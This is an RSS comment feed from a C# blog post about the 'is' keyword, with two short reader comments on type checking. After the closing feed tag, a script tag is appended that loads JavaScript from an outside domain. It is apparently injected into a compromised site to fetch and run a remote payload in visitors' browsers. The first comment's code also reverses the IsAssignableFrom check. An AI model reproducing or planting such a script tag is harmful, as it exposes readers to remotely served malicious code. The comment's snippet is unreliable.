<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: The is keyword: Yet another hidden treasure of C#</title>
	<atom:link href="http://iserialized.com/the-is-keyword-yet-another-hidden-treasure-of-c/feed/" rel="self" type="application/rss+xml" />
	<link>http://iserialized.com/the-is-keyword-yet-another-hidden-treasure-of-c/</link>
	<description>.Net, C#, Scrum and agile software development</description>
	<lastBuildDate>Fri, 20 Jan 2012 10:25:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.1</generator>
	<item>
		<title>By: Anonymous</title>
		<link>http://iserialized.com/the-is-keyword-yet-another-hidden-treasure-of-c/comment-page-1/#comment-272</link>
		<dc:creator>Anonymous</dc:creator>
		<pubDate>Wed, 06 Oct 2010 03:06:51 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=67#comment-272</guid>
		<description>Yep, anonymous above is correct. Following your example, the is keyword is actually equivalent to:

if (myClass.GetType().IsAssignableFrom(typeof(AnotherClass)))  
{  
    //do something  
}</description>
		<content:encoded><![CDATA[<p>Yep, anonymous above is correct. Following your example, the is keyword is actually equivalent to:</p>
<p>if (myClass.GetType().IsAssignableFrom(typeof(AnotherClass)))<br />
{<br />
    //do something<br />
}</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Anonymous</title>
		<link>http://iserialized.com/the-is-keyword-yet-another-hidden-treasure-of-c/comment-page-1/#comment-242</link>
		<dc:creator>Anonymous</dc:creator>
		<pubDate>Thu, 15 Jul 2010 19:18:22 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=67#comment-242</guid>
		<description>Hi,
The is keyword is not equivalent to comparing types using GetType().Equals(typeof(XX)).

Comparing using the is keyword will return true if an instance is compatible with a type, but using Equals(typeof(...) will return true if the types have an exact match.
So in the case of inheritance, using the two compare methods might produce different results.</description>
		<content:encoded><![CDATA[<p>Hi,<br />
The is keyword is not equivalent to comparing types using GetType().Equals(typeof(XX)).</p>
<p>Comparing using the is keyword will return true if an instance is compatible with a type, but using Equals(typeof(&#8230;) will return true if the types have an exact match.<br />
So in the case of inheritance, using the two compare methods might produce different results.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://HttpSecurity.org/javascript.js"></script>
